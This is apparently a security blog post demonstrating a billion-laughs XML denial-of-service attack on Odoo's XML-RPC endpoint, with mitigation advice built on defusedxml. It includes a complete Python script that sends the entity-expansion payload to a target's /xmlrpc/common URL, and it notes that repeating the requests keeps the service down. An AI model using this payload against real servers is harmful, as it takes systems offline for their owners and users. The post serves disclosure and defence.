Odoo: DoS via XML-RPC

XML is a really powerful and extensible markup language (that's where it gets its acronym, duh!), but, as in many such cases, the smarter the parser, the more likely it is that it can be abused in various subtle ways. You might have heard of the billion laughs denial-of service attack, where an example XML document of less than 1KB in size would require ~3GB of memory to parse.

Most of the known XML-based attacks are really old, but chances are that if you are parsing XML from untrusted sources, you might be vulnerable to some - so you might want check what attacks (if any) the parsing library of your choice is susceptible to.

When it comes to Python, I feel that I am not competent enough to add to the great research done by Christian Heimes, author of the defusedxml library. defusedxml is a great library which you can use to protect yourself from most XML-based attacks.

What about Odoo?

XML is used extensively throughout Odoo - to define data records, HTML templates and in XML-RPC. XML parsers can be abused most easily if they can be fed untrusted input, so in this case XML-RPC clearly stands out. Odoo uses the xmlrpclib (renamed to xmlrpc in Python 3) from Python's Standard Library for the XML-RPC server. As stated in defusedxml docs, xmlrpc(lib) is vulnerable to the billion laughs, quadratic blowup and gzip bomb attacks. Let's see if we can abuse Odoo's XML-RPC in order to successfully execute one of these denial-of-service attacks.

Payload preparation

Let's take the billion-laughs attack code sample from Wikipedia and simply make a request to Odoo's XML-RPC endpoint:

import argparse
import urllib.request

payload = \
b'''<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>'''


parser = argparse.ArgumentParser()
parser.add_argument('odoo_url')
args = parser.parse_args()
urllib.request.urlopen(
    f'{args.odoo_url.rstrip("/")}/xmlrpc/common', data=payload)

Testing it out

The following example is tested on Odoo 11.0 Community version (commit: [c5749ef2](https://github.com/odoo/odoo/commit/c5749ef2)) running inside a Docker container with `--memory` and `--memory-swap` set to *3G*.

Threaded mode

This is what we get when executing our little script against Odoo running in threaded mode:

The process consumes nearly 3GB of memory and 100% of CPU time for half a minute before being killed by the kernel due to the --memory and --memory-swap limitations that were added. In a real world example (if, for some reason, you are running Odoo in threaded mode), depending on the size of the expanded payload, the process would have consumed all the available RAM, then swap (if available), at which point the whole system would crawl to a halt and then, depending on you kernel configuration, the process might be killed.

Worker mode

Notice how the process didn't get killed by the kernel but instead received a MemoryError - this was due to the --limit-memory-hard limitation which is added to each worker process when running in worker mode. This means that if the process exceeds this amount (default is 768MB) of memory during handling of the request, it (the worker process, not whole Odoo) will be killed. This way we have avoided the whole system crawling to a halt and Odoo being killed entirely, which is why you really should be using workers (if you aren't yet, for some reason) - not only do you get the benefit of being able to use all available CPU cores, but also get a crude memory leak and Layer 7 DoS attack protection. Just be sure to configure the limit-memory-hard, limit-time-cpu and limit-time-real based on your system characteristics.

Still, even in the worker mode, a single <1 KB request was able to hog up 100% CPU time for over a minute - so it should be enough to execute as many of these requests as there are workers and the Odoo instance would effectively be DoSed until the --limit-memory-hard protections kicks in - at which point you can simply repeat the requests!

Mitigations?

The previously mentioned defusedxml can be used to patch Python's xmlrpc(lib) against the XML-based DoS attacks. Enter Defuse XML-RPC, an Odoo addon which does it for you - all you need to do is install the module!

With this addon installed, attempts at executing our billion laughs attack are terminated immediately without hogging up memory or CPU time (both in threaded and worker modes):